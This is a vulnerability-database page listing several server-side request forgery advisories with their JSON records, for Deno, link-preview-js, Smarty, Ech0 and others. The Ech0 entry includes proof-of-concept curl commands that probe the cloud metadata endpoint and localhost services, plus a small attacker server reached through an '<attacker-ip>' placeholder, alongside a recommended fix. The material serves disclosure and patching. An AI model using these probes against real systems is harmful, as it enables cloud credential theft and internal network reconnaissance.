CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-CPGJ-F7G3-2PP2
Vulnerability from github – Published: 2026-06-16 19:02 – Updated: 2026-07-20 21:01Summary
When fetch() was called, Deno checked the destination hostname against
--deny-net rules but did not re-check the IP addresses that hostname
resolved to. An attacker-controlled script could use a specially crafted domain
name that passes the hostname check yet resolves to a denied IP, bypassing the
network restriction entirely.
Impact
Code running under --deny-net could reach hosts that the user intended to
block. In practice this means network isolation rules — for example, blocking
access to localhost or internal services — could be silently circumvented by
a malicious or compromised dependency.
A companion advisory covers the same class of issue in the WebSocket API.
Who is affected
Users who:
- run untrusted or third-party code with
deno run, and - rely on
--deny-netto restrict which hosts that code can reach.
If you do not use --deny-net, or if you only run fully trusted code, you are
not affected.
Workaround
No workaround is available short of upgrading. If upgrading immediately is not
possible, avoid granting --allow-net to untrusted code that also has
--deny-net restrictions you depend on for security.
Fix
The fetch() DNS resolver now performs a post-resolution check on every IP
address before passing it to the HTTP connector, consistent with how
Deno.connect already behaved.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.8.0"
},
"package": {
"ecosystem": "crates.io",
"name": "deno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49859"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T19:02:55Z",
"nvd_published_at": "2026-06-23T18:18:03Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen `fetch()` was called, Deno checked the destination hostname against\n`--deny-net` rules but did not re-check the IP addresses that hostname\nresolved to. An attacker-controlled script could use a specially crafted domain\nname that passes the hostname check yet resolves to a denied IP, bypassing the\nnetwork restriction entirely.\n\n## Impact\n\nCode running under `--deny-net` could reach hosts that the user intended to\nblock. In practice this means network isolation rules \u2014 for example, blocking\naccess to `localhost` or internal services \u2014 could be silently circumvented by\na malicious or compromised dependency.\n\nA companion advisory covers the same class of issue in the WebSocket API.\n\n## Who is affected\n\nUsers who:\n\n- run untrusted or third-party code with `deno run`, and\n- rely on `--deny-net` to restrict which hosts that code can reach.\n\nIf you do not use `--deny-net`, or if you only run fully trusted code, you are\nnot affected.\n\n## Workaround\n\nNo workaround is available short of upgrading. If upgrading immediately is not\npossible, avoid granting `--allow-net` to untrusted code that also has\n`--deny-net` restrictions you depend on for security.\n\n## Fix\n\nThe `fetch()` DNS resolver now performs a post-resolution check on every IP\naddress before passing it to the HTTP connector, consistent with how\n`Deno.connect` already behaved.",
"id": "GHSA-cpgj-f7g3-2pp2",
"modified": "2026-07-20T21:01:14Z",
"published": "2026-06-16T19:02:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/denoland/deno/security/advisories/GHSA-cpgj-f7g3-2pp2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49859"
},
{
"type": "PACKAGE",
"url": "https://github.com/denoland/deno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Deno: `fetch()` API sandbox bypass via missing DNS resolution check"
}
GHSA-CPJF-6666-R8FX
Vulnerability from github – Published: 2026-09-02 21:29 – Updated: 2026-09-02 21:29The existing advisory GHSA-4gp8-rjrq-ch6q / CVE-2026-43897 states that the SSRF issue was fixed in 4.0.1. However, 4.0.3 remains bypassable when the documented resolveDNSHost mitigation is used.
Root cause: The library validates one resolved IP address through resolveDNSHost, but later performs fetch() against the original hostname without pinning the connection to the validated IP. An attacker-controlled DNS server can return a public IP during validation and a loopback/internal IP during the final connection.
Impact: This allows an attacker to bypass the documented SSRF mitigation and make the server-side fetch reach loopback or internal addresses under DNS rebinding conditions.
This appears to be either an incomplete fix for CVE-2026-43897 or a new DNS rebinding SSRF bypass affecting the latest version.
The PoC was reproduced in a local-only controlled environment to avoid targeting production or third-party systems. Evidence and reproduction details can be provided privately.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.3"
},
"package": {
"ecosystem": "npm",
"name": "link-preview-js"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61704"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T21:29:57Z",
"nvd_published_at": "2026-08-20T17:18:51Z",
"severity": "HIGH"
},
"details": "The existing advisory GHSA-4gp8-rjrq-ch6q / CVE-2026-43897 states that the SSRF issue was fixed in 4.0.1. However, 4.0.3 remains bypassable when the documented resolveDNSHost mitigation is used.\n\nRoot cause:\nThe library validates one resolved IP address through resolveDNSHost, but later performs fetch() against the original hostname without pinning the connection to the validated IP. An attacker-controlled DNS server can return a public IP during validation and a loopback/internal IP during the final connection.\n\nImpact:\nThis allows an attacker to bypass the documented SSRF mitigation and make the server-side fetch reach loopback or internal addresses under DNS rebinding conditions.\n\nThis appears to be either an incomplete fix for CVE-2026-43897 or a new DNS rebinding SSRF bypass affecting the latest version.\n\nThe PoC was reproduced in a local-only controlled environment to avoid targeting production or third-party systems. Evidence and reproduction details can be provided privately.",
"id": "GHSA-cpjf-6666-r8fx",
"modified": "2026-09-02T21:29:57Z",
"published": "2026-09-02T21:29:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OP-Engineering/link-preview-js/security/advisories/GHSA-cpjf-6666-r8fx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61704"
},
{
"type": "WEB",
"url": "https://github.com/OP-Engineering/link-preview-js/pull/181"
},
{
"type": "WEB",
"url": "https://github.com/OP-Engineering/link-preview-js/commit/6ee25043dd60b097eb70b4ce049aac94b28239e3"
},
{
"type": "WEB",
"url": "https://github.com/OP-Engineering/link-preview-js/commit/f3a3dd84adbb9d32d06a933f44ff3eaa837f9a12"
},
{
"type": "PACKAGE",
"url": "https://github.com/OP-Engineering/link-preview-js"
},
{
"type": "WEB",
"url": "https://github.com/OP-Engineering/link-preview-js/releases/tag/4.0.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "link-preview-js DNS Rebinding SSRF Bypass / Incomplete Fix for CVE-2026-43897"
}
GHSA-CPJV-5WWH-MWG5
Vulnerability from github – Published: 2025-05-07 15:31 – Updated: 2026-04-01 18:35Server-Side Request Forgery (SSRF) vulnerability in Varun Dubey Wbcom Designs - Activity Link Preview For BuddyPress allows Server Side Request Forgery. This issue affects Wbcom Designs - Activity Link Preview For BuddyPress: from n/a through 1.4.4.
{
"affected": [],
"aliases": [
"CVE-2025-47548"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-07T15:16:11Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Varun Dubey Wbcom Designs - Activity Link Preview For BuddyPress allows Server Side Request Forgery. This issue affects Wbcom Designs - Activity Link Preview For BuddyPress: from n/a through 1.4.4.",
"id": "GHSA-cpjv-5wwh-mwg5",
"modified": "2026-04-01T18:35:03Z",
"published": "2025-05-07T15:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47548"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/activity-link-preview-for-buddypress/vulnerability/wordpress-wbcom-designs-activity-link-preview-for-buddypress-1-4-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CPPX-6F25-3QXC
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32A Server-Side Request Forgery (SSRF) vulnerability exists in the latest version of vanna-ai/vanna when using DuckDB as the database. An attacker can exploit this vulnerability by submitting crafted SQL queries that leverage DuckDB's default features, such as read_csv, read_csv_auto, read_text, and read_blob, to make unauthorized requests to internal or external resources. This can lead to unauthorized access to sensitive data, internal systems, and potentially further attacks.
{
"affected": [],
"aliases": [
"CVE-2024-8099"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:41Z",
"severity": "HIGH"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the latest version of vanna-ai/vanna when using DuckDB as the database. An attacker can exploit this vulnerability by submitting crafted SQL queries that leverage DuckDB\u0027s default features, such as `read_csv`, `read_csv_auto`, `read_text`, and `read_blob`, to make unauthorized requests to internal or external resources. This can lead to unauthorized access to sensitive data, internal systems, and potentially further attacks.",
"id": "GHSA-cppx-6f25-3qxc",
"modified": "2025-03-20T12:32:47Z",
"published": "2025-03-20T12:32:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8099"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/19b96694-ed52-4ee4-8d2c-6cc7bd09c0ad"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-CPQX-FHWG-CR7G
Vulnerability from github – Published: 2026-08-06 18:30 – Updated: 2026-08-06 18:30Server-side request forgery in the METS and IIIF import URI handling in Scripta eScriptorium through 26.04.1 allows a remote authenticated user to make the server issue arbitrary HTTP requests to internal hosts, including the cloud instance metadata service, via the mets_uri or iiif_uri parameter of POST /api/documents/{pk}/imports/, because the IMPORT_ALLOWED_DOMAINS setting defaults to '*' and no address filtering, redirect cap or timeout is applied
{
"affected": [],
"aliases": [
"CVE-2026-18359"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-06T16:16:38Z",
"severity": "HIGH"
},
"details": "Server-side request forgery in the METS and IIIF import URI handling in Scripta eScriptorium through 26.04.1 allows a remote authenticated user to make the server issue arbitrary HTTP requests to internal hosts, including the cloud instance metadata service, via the mets_uri or iiif_uri parameter of POST /api/documents/{pk}/imports/, because the IMPORT_ALLOWED_DOMAINS setting defaults to \u0027*\u0027 and no address filtering, redirect cap or timeout is applied",
"id": "GHSA-cpqx-fhwg-cr7g",
"modified": "2026-08-06T18:30:48Z",
"published": "2026-08-06T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18359"
},
{
"type": "WEB",
"url": "https://gitlab.com/scripta/escriptorium/-/work_items/1230"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CQ2X-934M-8P64
Vulnerability from github – Published: 2024-03-12 15:32 – Updated: 2025-07-25 18:30Server-Side Request Forgery (SSRF) in Citrix SD-WAN Standard/Premium Editions on or after 11.4.0 and before 11.4.4.46 allows an attacker to disclose limited information from the appliance via Access to management IP.
{
"affected": [],
"aliases": [
"CVE-2024-2049"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-12T13:15:49Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) in Citrix SD-WAN Standard/Premium Editions on or after 11.4.0 and before 11.4.4.46 allows an attacker to disclose limited information from the appliance via Access to management IP.",
"id": "GHSA-cq2x-934m-8p64",
"modified": "2025-07-25T18:30:32Z",
"published": "2024-03-12T15:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2049"
},
{
"type": "WEB",
"url": "https://support.citrix.com/article/CTX617071/citrix-sdwan-security-bulletin-for-cve20242049"
},
{
"type": "WEB",
"url": "https://support.citrix.com/external/article?articleUrl=CTX617071-citrix-sdwan-security-bulletin-for-cve20242049\u0026language=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CQ38-9F6P-96J8
Vulnerability from github – Published: 2022-11-21 15:30 – Updated: 2022-11-23 18:30Server-Side Request Forgery (SSRF) in GitHub repository appsmithorg/appsmith prior to 1.8.2.
{
"affected": [],
"aliases": [
"CVE-2022-4096"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-21T15:15:00Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) in GitHub repository appsmithorg/appsmith prior to 1.8.2.",
"id": "GHSA-cq38-9f6p-96j8",
"modified": "2022-11-23T18:30:28Z",
"published": "2022-11-21T15:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4096"
},
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/commit/769719ccfe667f059fe0b107a19ec9feb90f2e40"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/7969e834-5982-456e-9683-861a7a5e2d22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CQ55-C7WV-PXMQ
Vulnerability from github – Published: 2026-09-01 16:38 – Updated: 2026-09-01 16:38When a Security policy is active, {fetch} validates the requested remote URL against the trusted_uri allowlist via Security::isTrustedUri(). For non-http:// schemes (e.g. https://) the resource was then read with file_get_contents(), which follows HTTP redirects by default. Because isTrustedUri() only validates the initial URL, an open redirect on an otherwise-trusted host could be used to redirect the request to a non-trusted, internal target — bypassing the trusted_uri policy.
Impact
An attacker who can supply a fetch target (or influence one) and who has an open redirect available on a trusted host can cause the server to issue requests to attacker-chosen internal endpoints, defeating the trusted_uri allowlist (server-side request forgery).
Patches
Fixed in 5.8.2. When a security policy is active, {fetch} now passes a stream context that disables redirect following (follow_location => 0, max_redirects => 1) to file_get_contents() for remote resources. Behavior is unchanged when no security policy is set, since there is no trusted_uri to bypass.
Workarounds
Avoid fetching remote resources from within templates under untrusted control; ensure hosts listed in trusted_uri do not expose open redirects.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "smarty/smarty"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.8.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "smarty/smarty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62993"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T16:38:22Z",
"nvd_published_at": "2026-08-31T21:17:33Z",
"severity": "MODERATE"
},
"details": "When a Security policy is active, {fetch} validates the requested remote URL against the trusted_uri allowlist via Security::isTrustedUri(). For non-http:// schemes (e.g. https://) the resource was then read with file_get_contents(), which follows HTTP redirects by default. Because isTrustedUri() only validates the initial URL, an open redirect on an otherwise-trusted host could be used to redirect the request to a non-trusted, internal target \u2014 bypassing the trusted_uri policy.\n\n## Impact\n\nAn attacker who can supply a fetch target (or influence one) and who has an open redirect available on a trusted host can cause the server to issue requests to attacker-chosen internal endpoints, defeating the trusted_uri allowlist (server-side request forgery).\n\n## Patches\n\nFixed in 5.8.2. When a security policy is active, {fetch} now passes a stream context that disables redirect following (follow_location =\u003e 0, max_redirects =\u003e 1) to file_get_contents() for remote resources. Behavior is unchanged when no security policy is set, since there is no trusted_uri to bypass.\n\n## Workarounds\n\nAvoid fetching remote resources from within templates under untrusted control; ensure hosts listed in trusted_uri do not expose open redirects.",
"id": "GHSA-cq55-c7wv-pxmq",
"modified": "2026-09-01T16:38:23Z",
"published": "2026-09-01T16:38:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/smarty-php/smarty/security/advisories/GHSA-cq55-c7wv-pxmq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62993"
},
{
"type": "WEB",
"url": "https://github.com/smarty-php/smarty/pull/1194"
},
{
"type": "WEB",
"url": "https://github.com/smarty-php/smarty/commit/31e06fc087a8b5a9b236c1e5dacc1c2850a2c115"
},
{
"type": "WEB",
"url": "https://github.com/smarty-php/smarty/commit/a1ccdb0518021a559b4066c37b76a42c86bbce90"
},
{
"type": "PACKAGE",
"url": "https://github.com/smarty-php/smarty"
},
{
"type": "WEB",
"url": "https://github.com/smarty-php/smarty/releases/tag/v4.5.7"
},
{
"type": "WEB",
"url": "https://github.com/smarty-php/smarty/releases/tag/v5.8.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Smarty: SSRF via redirect bypass of trusted_uri using {fetch}"
}
GHSA-CQ56-W8H5-CWCJ
Vulnerability from github – Published: 2022-05-14 02:20 – Updated: 2022-05-14 02:20An issue was discovered in Open-Xchange OX App Suite before 7.8.1-rev11. The API to configure external mail accounts can be abused to map and access network components within the trust boundary of the operator. Users can inject arbitrary hosts and ports to API calls. Depending on the response type, content and latency, information about existence of hosts and services can be gathered. Attackers can get internal configuration information about the infrastructure of an operator to prepare subsequent attacks.
{
"affected": [],
"aliases": [
"CVE-2016-4046"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-12-15T06:59:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Open-Xchange OX App Suite before 7.8.1-rev11. The API to configure external mail accounts can be abused to map and access network components within the trust boundary of the operator. Users can inject arbitrary hosts and ports to API calls. Depending on the response type, content and latency, information about existence of hosts and services can be gathered. Attackers can get internal configuration information about the infrastructure of an operator to prepare subsequent attacks.",
"id": "GHSA-cq56-w8h5-cwcj",
"modified": "2022-05-14T02:20:11Z",
"published": "2022-05-14T02:20:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4046"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/538732/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1036157"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CQGF-F4X7-G6WC
Vulnerability from github – Published: 2026-04-03 03:33 – Updated: 2026-04-06 23:41Summary
The GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction.
Details
The vulnerability exists in the interaction between four components:
1. Route registration — no authentication (internal/router/common.go:11):
appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle())
The PublicRouterGroup is created at internal/router/router.go:34 as r.Group("/api") with no auth middleware attached (unlike AuthRouterGroup which uses JWTAuthMiddleware).
2. Handler — no input validation (internal/handler/common/common.go:106-127):
func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
var dto commonModel.GetWebsiteTitleDto
if err := ctx.ShouldBindQuery(&dto); err != nil { ... }
title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)
...
})
}
The DTO (internal/model/common/common_dto.go:155-156) only enforces binding:"required" — no URL scheme or host validation.
3. Service — TrimURL is cosmetic (internal/service/common/common.go:122-125):
func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
websiteURL = httpUtil.TrimURL(websiteURL)
body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
...
}
TrimURL (internal/util/http/http.go:16-26) only calls TrimSpace, TrimPrefix("/"), and TrimSuffix("/"). No SSRF protections.
4. HTTP client — unrestricted outbound request (internal/util/http/http.go:53-84):
client := &http.Client{
Timeout: clientTimeout,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
req, err := http.NewRequest(method, url, nil)
...
resp, err := client.Do(req)
The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.
The response body is parsed for <title> tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.
PoC
Step 1: Probe cloud metadata endpoint (AWS)
curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'
If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.
Step 2: Probe internal localhost services
curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'
Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.
Step 3: Exfiltrate data from internal web services with HTML title tags
curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'
If the internal service returns an HTML page with a <title> tag, its content is returned to the attacker.
Step 4: Confirm with a controlled external server
# On attacker machine:
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type','text/html')
self.end_headers()
self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &
# From any client:
curl -s 'http://<ech0-host>:8080/api/website/title?website_url=http://<attacker-ip>:9999/'
Expected response contains "data":"SSRF-CONFIRMED", proving the server made an outbound request to the attacker-controlled URL.
Impact
- Cloud credential theft: An attacker can reach cloud metadata services (AWS IMDSv1 at
169.254.169.254, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data. - Internal network reconnaissance: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.
- Localhost service interaction: Access to services bound to
127.0.0.1(databases, caches, admin panels) that rely on network-level isolation for security. - Firewall bypass: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.
- Data exfiltration: Partial response content is leaked through the
<title>tag extraction. While limited, this is sufficient to extract sensitive data from services that return HTML responses.
The attack requires no authentication and can be performed by any anonymous internet user with network access to the Ech0 instance.
Recommended Fix
Add URL validation in GetWebsiteTitle to block requests to private/reserved IP ranges and restrict allowed schemes. In internal/service/common/common.go:
import (
"net"
"net/url"
)
func isPrivateIP(ip net.IP) bool {
privateRanges := []string{
"127.0.0.0/8",
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16",
"::1/128",
"fc00::/7",
"fe80::/10",
}
for _, cidr := range privateRanges {
_, network, _ := net.ParseCIDR(cidr)
if network.Contains(ip) {
return true
}
}
return false
}
func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
websiteURL = httpUtil.TrimURL(websiteURL)
// Validate URL scheme
parsed, err := url.Parse(websiteURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
return "", errors.New("only http and https URLs are allowed")
}
// Resolve hostname and block private IPs
host := parsed.Hostname()
ips, err := net.LookupIP(host)
if err != nil {
return "", fmt.Errorf("failed to resolve hostname: %w", err)
}
for _, ip := range ips {
if isPrivateIP(ip) {
return "", errors.New("requests to private/internal addresses are not allowed")
}
}
body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
// ... rest unchanged
}
Additionally, consider:
1. Removing InsecureSkipVerify: true from SendRequest in internal/util/http/http.go:69
2. Disabling redirect following in the HTTP client (CheckRedirect returning http.ErrUseLastResponse) or re-validating the target IP after each redirect to prevent DNS rebinding
3. Adding rate limiting to this endpoint
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.8-0.20260401031029-4ca56fea5ba4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35037"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T03:33:00Z",
"nvd_published_at": "2026-04-06T17:17:13Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `GET /api/website/title` endpoint accepts an arbitrary URL via the `website_url` query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML `\u003ctitle\u003e` tag extraction.\n\n## Details\n\nThe vulnerability exists in the interaction between four components:\n\n**1. Route registration \u2014 no authentication** (`internal/router/common.go:11`):\n```go\nappRouterGroup.PublicRouterGroup.GET(\"/website/title\", h.CommonHandler.GetWebsiteTitle())\n```\nThe `PublicRouterGroup` is created at `internal/router/router.go:34` as `r.Group(\"/api\")` with no auth middleware attached (unlike `AuthRouterGroup` which uses `JWTAuthMiddleware`).\n\n**2. Handler \u2014 no input validation** (`internal/handler/common/common.go:106-127`):\n```go\nfunc (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {\n return res.Execute(func(ctx *gin.Context) res.Response {\n var dto commonModel.GetWebsiteTitleDto\n if err := ctx.ShouldBindQuery(\u0026dto); err != nil { ... }\n title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)\n ...\n })\n}\n```\nThe DTO (`internal/model/common/common_dto.go:155-156`) only enforces `binding:\"required\"` \u2014 no URL scheme or host validation.\n\n**3. Service \u2014 TrimURL is cosmetic** (`internal/service/common/common.go:122-125`):\n```go\nfunc (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {\n websiteURL = httpUtil.TrimURL(websiteURL)\n body, err := httpUtil.SendRequest(websiteURL, \"GET\", httpUtil.Header{}, 10*time.Second)\n ...\n}\n```\n`TrimURL` (`internal/util/http/http.go:16-26`) only calls `TrimSpace`, `TrimPrefix(\"/\")`, and `TrimSuffix(\"/\")`. No SSRF protections.\n\n**4. HTTP client \u2014 unrestricted outbound request** (`internal/util/http/http.go:53-84`):\n```go\nclient := \u0026http.Client{\n Timeout: clientTimeout,\n Transport: \u0026http.Transport{\n TLSClientConfig: \u0026tls.Config{\n InsecureSkipVerify: true,\n },\n },\n}\nreq, err := http.NewRequest(method, url, nil)\n...\nresp, err := client.Do(req)\n```\nThe client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.\n\nThe response body is parsed for `\u003ctitle\u003e` tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.\n\n## PoC\n\n**Step 1: Probe cloud metadata endpoint (AWS)**\n```bash\ncurl -s \u0027http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/\u0027\n```\nIf the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.\n\n**Step 2: Probe internal localhost services**\n```bash\ncurl -s \u0027http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/\u0027\n```\nProbes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.\n\n**Step 3: Exfiltrate data from internal web services with HTML title tags**\n```bash\ncurl -s \u0027http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/\u0027\n```\nIf the internal service returns an HTML page with a `\u003ctitle\u003e` tag, its content is returned to the attacker.\n\n**Step 4: Confirm with a controlled external server**\n```bash\n# On attacker machine:\npython3 -c \"from http.server import HTTPServer, BaseHTTPRequestHandler\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\u0027Content-Type\u0027,\u0027text/html\u0027)\n self.end_headers()\n self.wfile.write(b\u0027\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eSSRF-CONFIRMED\u003c/title\u003e\u003c/head\u003e\u003c/html\u003e\u0027)\nHTTPServer((\u00270.0.0.0\u0027,9999),H).serve_forever()\" \u0026\n\n# From any client:\ncurl -s \u0027http://\u003cech0-host\u003e:8080/api/website/title?website_url=http://\u003cattacker-ip\u003e:9999/\u0027\n```\nExpected response contains `\"data\":\"SSRF-CONFIRMED\"`, proving the server made an outbound request to the attacker-controlled URL.\n\n## Impact\n\n- **Cloud credential theft**: An attacker can reach cloud metadata services (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) to steal IAM credentials, API tokens, and instance configuration data.\n- **Internal network reconnaissance**: Port scanning and service discovery of internal hosts that are not directly accessible from the internet.\n- **Localhost service interaction**: Access to services bound to `127.0.0.1` (databases, caches, admin panels) that rely on network-level isolation for security.\n- **Firewall bypass**: The server acts as a proxy, allowing attackers to bypass network ACLs and reach otherwise-protected internal infrastructure.\n- **Data exfiltration**: Partial response content is leaked through the `\u003ctitle\u003e` tag extraction. While limited, this is sufficient to extract sensitive data from services 